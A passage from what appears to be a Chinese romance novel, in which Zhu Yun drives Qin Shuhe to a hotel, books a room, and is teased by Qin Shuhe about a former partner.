祝筠的车在地下停车场,后备箱已经打开了。祝筠下车过来,秦舒禾自然地将自己装着衣服的提包送到了祝筠的手上,祝筠也自然地接过了。
秦舒禾开了副驾的门坐了进去,祝筠紧随其后上来。
门关上,祝筠无意瞥见了秦舒禾的大衣后敞,她的腿又露了出来。
白、细,细腻的像白色的绸缎,在眼前流动。
秦舒禾的双腿是一种优势,可再有优势怎么能这么造,把冬天穿的像是秋天一样。
尤其是,秦舒禾身上的香味,已经很有存在感地弥漫在了整个空间里。
和在游戏里的一模一样。
秦舒禾浑身上下都散发着一股诱人好闻的香。
祝筠:“不冷么?”
秦舒禾侧头反问,笑得让人挪不开眼:“好看吗?”
祝筠发动车子,开出地下车库。
秦舒禾没说具体哪家,只说:“就到附近的酒店。”
市中心的酒店很多,祝筠直接选择了最好的那一家,秦舒禾注意到祝筠没开导航。
下车的时候她等了会儿没动,祝筠说:“自己开一下,我去帮你拿包。”
她怎么知道自己在等什么?秦舒禾好笑地勾了勾唇角,下车。
跟着祝筠来到前台,看见祝筠拿着会员卡开了间大床房,秦舒禾终于开口。
“祝总对这一切都轻车熟路,还学会了更加细致的照顾人,连等人都知道把空调打好。”秦舒禾问,“祝筠,看来这几年在你身边的人把你调教的很好。”
“是那个在你身上咬了一口的人吗?”